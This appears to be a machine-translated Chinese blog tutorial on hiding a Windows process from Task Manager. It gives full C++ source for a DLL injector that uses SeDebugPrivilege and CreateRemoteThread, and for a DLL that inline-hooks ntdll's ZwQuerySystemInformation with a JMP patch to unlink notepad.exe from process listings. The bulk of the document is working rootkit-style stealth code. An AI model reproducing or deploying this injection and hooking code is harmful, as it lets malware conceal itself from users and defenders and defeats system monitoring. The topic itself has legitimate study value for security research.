当前位置:网站首页>3. Hidden processes under the ring
3. Hidden processes under the ring
2022-06-12 13:56:00 【HyperCall】
analysis & matters needing attention
1. Hide the specified process , Program call CreateToolhelp32Snapshot The process list obtained by this function cannot contain any processes that we need to hide
2. except CreateToolhelp32Snapshot You can traverse outside the process EnumProcess It's fine too . Reverse display , these two items. API It calls a lower level function to get the process structure linked list from the kernel layer , It's called ZwQuerySystemInformation, Belong to ntdll.dll
3. So as long as Hook ZwQuerySystemInformation, Before it returns, you can manually traverse the linked list and drop the structure of the process to be hidden from the linked list
4. In which process space Hook The operation can only affect which process , Other processes are not affected , So if you want to hide in all processes, you need to hide in all processes Hook
5. stay A In process execution Hook operation , You can use remote thread injection technology to specify dll Injection into A In the implementation of , function DllMain Medium Hook Just operate
6.ZwQuerySystemInformation It's an undisclosed API, You need to pay attention to the timeliness of use and cannot call directly. You need to dynamically obtain the function address and then call
7.32 Bit dll Can only be injected into 32 Program ,64 Bits can only be injected 64 Bit program .windows 7+ Pay attention to the callback isolation mechanism , This experiment is based on xp, Update later windows 7+
8. This article only applies to those that have already run taskmgr.exe Inject dll hide notepad.exe, The next chapter updates the global hide
HideProc.cpp
#include "windows.h"
#include "Tlhelp32.h"
#include <iostream>
using namespace std;
LPCTSTR Dll_Path=L"d:hack.dll";
WCHAR Inject_name[1][100]={L"taskmgr.exe"};
int inject_num=1;
BOOL Whether_Inject(const WCHAR *processname){
for(int i=0;i<inject_num;i++){
WCHAR *s=Inject_name[i];
while(*processname==*s && *processname!='\0' && *s!='\0'){
processname++;
s++;
}
if (*processname == '\0' && *s == '\0') return true;
}
return false;
}
void InjectDll(DWORD pid=0){
if(pid==0) return;
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if(!hProcess){
cout<<"OpenProcess failed,error code: "<<GetLastError()<<endl;
return;
}
LPVOID pRemoteBuf=NULL;
DWORD BufSize=(DWORD)(wcslen(Dll_Path)+1)*sizeof(TCHAR);//+1:\0
pRemoteBuf=VirtualAllocEx(hProcess,NULL,BufSize,MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)Dll_Path,BufSize,NULL);
LPTHREAD_START_ROUTINE pThreadProc;
HMODULE Kernel32_Handle=GetModuleHandle(L"kernel32.dll");
pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle,"LoadLibraryW");
CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);
CloseHandle(hProcess);
hProcess=NULL;
}
BOOL EnableDebugPrivilege(){
HANDLE hToken;
BOOL fOk=FALSE;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){ //Get Token
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))//Get Luid
cout<<"Can't lookup privilege value"<<endl;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;// That's the key , Modify its attribute to SE_PRIVILEGE_ENABLED
if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))//Adjust Token
cout<<"Can't adjust privilege value"<<endl;
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
hToken=NULL;
}
return fOk;
}
int main(){
BOOL isPrivilege=false;
isPrivilege=EnableDebugPrivilege();// Raise the right
if(!isPrivilege){
cout<<"EnableDebugPrivilege failed"<<endl;
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize=sizeof(pe);
BOOL code=false;
HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
if(INVALID_HANDLE_VALUE!=hSnapShot){
BOOL bprocess=Process32First(hSnapShot,&pe);
while(bprocess){
code=Whether_Inject(pe.szExeFile);
if(code){
InjectDll(pe.th32ProcessID);
}
bprocess=Process32Next(hSnapShot,&pe);
}
}
CloseHandle(hSnapShot);
hSnapShot=NULL;
system("pause");
return 0;
}Notes:
Weighting function :EnableDebugPrivilege
Otherwise, the permission is insufficient and the error code is :5
Baidu's explanation
1. For an arbitrary process ( Including system security process and service process ) Specifies the write related access rights OpenProcess operation , As long as the current process has SeDeDebug Authority is enough . If a user is Administrator Or have been given the appropriate permissions , You can have this permission . But , Even if we use Administrator The account number is used to execute a system security process OpenProcess(PROCESS_ALL_ACCESS,FALSE,
dwProcessID) There will still be “ Access denied ” Error of . What's the reason ? It turns out that some access permissions of the process are not enabled by default (Enabled) Of , So the first thing we need to do is enable these permissions . Related to this API Function has OpenProcessToken、LookupPrivilegevalue、AdjustTokenPrivileges. We need to modify the access token of a process , First, get the handle of the process access token , This can be done by OpenProcessToken obtain
Hide.h
#include "windows.h"
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
(ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}UNICODE_STRING,*PUNICODE_STRING;
// Process information structure
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset; // The offset of the next structure
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ProcessName; // Process name
ULONG BasePriority;
HANDLE UniqueProcessId; // process Pid
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
BOOL hook_ZwQuerySystemInformation();
BOOL unhook_ZwQuerySystemInformation();
NTSTATUS WINAPI NewZwQuerySystemInformation(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);Notes:
Please note that _SYSTEM_PROCESS_INFORMATION The prototype is not this , It is
typedef struct _SYSTEM_PROCESSES {
ULONG NextEntryDelta; // The offset between the next structure of the linked list and the previous structure
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName; // Process name
KPRIORITY BasePriority;
ULONG ProcessId; // Process pid Number
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1]; }SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
But the file where this structure is located is ntddk.h, There is no default . So manually rewrite one struct Similar structures of the same size are sufficient , pivotal NextEntryDelta Offset and ProcessName The offset should not be mistaken
Hide.cpp
#include "1.h"
#define SystemProcessInformation 5
#define STATUS_SUCCESS (0x00000000L)
BYTE ZwQuerySystemInformation_origin_byte[5] = {
0,};
LPCSTR dll_ntdll="ntdll.dll";
LPCSTR func_ZwQuerySystemInformation="ZwQuerySystemInformation";
PWSTR Hide_Process=L"notepad.exe";
PROC p_fn_NewZwQuerySystemInformation=(PROC)NewZwQuerySystemInformation;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
hook_ZwQuerySystemInformation();
break;
case DLL_PROCESS_DETACH:
unhook_ZwQuerySystemInformation();
break;
}
return TRUE;
}
BOOL hook_ZwQuerySystemInformation(){
FARPROC p_ori_func;
PBYTE pbyte;
DWORD oldprotect,address;
byte newbuf[5]={
0xE9,0,};
p_ori_func=(FARPROC)GetProcAddress(GetModuleHandleA(dll_ntdll),func_ZwQuerySystemInformation); // Get the address of the original function
pbyte=(PBYTE)p_ori_func;
if(pbyte[0]==0xE9){ // If already Hook The exit
return false;
}
VirtualProtect((LPVOID)p_ori_func,5,PAGE_EXECUTE_READWRITE,&oldprotect); // modify 5 The byte attribute is writable
memcpy(ZwQuerySystemInformation_origin_byte,p_ori_func,5); // Before saving the original function 5 Byte order
address=(DWORD)p_fn_NewZwQuerySystemInformation-(DWORD)p_ori_func-5; // Calculation jumps to NewZwQuerySystemInformation Function needs jmp Address
memcpy(&newbuf[1],&address,4); // Write the calculated address to newbuf
memcpy(p_ori_func,newbuf,5); // Write... At the original function jmp xxx Realization Hook
VirtualProtect((LPVOID)p_ori_func, 5, oldprotect, &oldprotect); // Restore the properties you just adjusted
return true;
}
BOOL unhook_ZwQuerySystemInformation(){
FARPROC pfunc;
PBYTE pbyte;
DWORD oldprotect;
pfunc=(FARPROC)GetProcAddress(GetModuleHandleA(dll_ntdll),func_ZwQuerySystemInformation); // Get the address of the original function
pbyte=(PBYTE)pfunc;
if(pbyte[0]!=0xE9){
return false;
}
VirtualProtect((LPVOID)pfunc,5,PAGE_EXECUTE_READWRITE,&oldprotect); // modify 5 The byte attribute is writable
memcpy(pfunc,ZwQuerySystemInformation_origin_byte,5); // Before the original function 5 Byte recovery
VirtualProtect((LPVOID)pfunc,5,oldprotect,&oldprotect); // Restore the properties you just adjusted
return true;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pfunc;
PSYSTEM_PROCESS_INFORMATION pcur,pprev;
unhook_ZwQuerySystemInformation(); // relieve Hook ZwQuerySystemInformation Prevent infinite loops
pfunc=(FARPROC)GetProcAddress(GetModuleHandleA(dll_ntdll),func_ZwQuerySystemInformation); // Get the address of the original function dynamically
status = ((PFZWQUERYSYSTEMINFORMATION)pfunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); // Call the original function in the order of the original parameters
if(status != STATUS_SUCCESS ){ // Judge whether the call is successful. If it is not possible, it will be disconnected Hook Returns an error status
hook_ZwQuerySystemInformation();
return status;
}
if( SystemInformationClass == SystemProcessInformation ){ // Only SystemInformationClass=5( Query process list ) Yes, you can apply the hide operation
pcur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; // The current pointer points to the returned SystemInformation Structure
while(TRUE){
if(pcur->ProcessName.Buffer){ // This structure ProcessName Members of the Buffer Enter if member exists
if(!wcscmp(pcur->ProcessName.Buffer,Hide_Process)){ // Compare whether the process name of this structure is the process name that needs to be hidden , If yes, perform the chain operation under the linked list
if(pcur->NextEntryOffset == 0)
pprev->NextEntryOffset = 0;
else
pprev->NextEntryOffset += pcur->NextEntryOffset;
}
else
pprev = pcur; // For processes that do not need to be hidden, the current pointer and the forward pointer are moved back one respectively
}
if(pcur->NextEntryOffset == 0) // If there is no next one, just quit
break;
pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcur + pcur->NextEntryOffset);
}
}
hook_ZwQuerySystemInformation(); // Processing is complete , Again Hook
return status; // return status
}边栏推荐
猜你喜欢

【mysql进阶】mysql索引数据结构的演变(四)

When the byte jumps, the Chinese 996 is output in the United States

Summary of virtual box usage problems

Démontage et modification de la machine publicitaire - décompression amateur
![[wustctf2020] selfie score query -1](/img/dc/47626011333a0e853be87e492d8528.png)
[wustctf2020] selfie score query -1

Implementing singleton mode of database under QT multithreading

Encryptor and client authenticate with each other

Qt5 plug-in production

注重点击,追求更多用户进入网站,可以选择什么出价策略?

公司运营中更注重转化的出价策略,如何实现? —Google sem
随机推荐
Single bus temperature sensor 18B20 data on cloud (Alibaba cloud)
注重点击,追求更多用户进入网站,可以选择什么出价策略?
基于Profibus-DP协议的PLC智能从站设计
Cdeforces 1638 C. inversion graph - simple thinking
Talk about the top 10 classic MySQL errors
Codeforces 1638 D. Big Brush —— BFS
PostgreSQL14安装使用教程
Explanation of static and extern keywords
Language skills used in development
Code debugging - print log output to file
List of common ACM knowledge points (to be continued)
Paw 高级使用指南
Hash tables, sets, maps, trees, heaps, and graphs
Alibaba Cloud Development Board haas510 submission Device Properties
Greed issues - Egypt scores
Use of awlive structures
Debug code to quickly locate the error location
969. pancake sorting
浅谈中国程序员为什么要跳槽?
English learning plan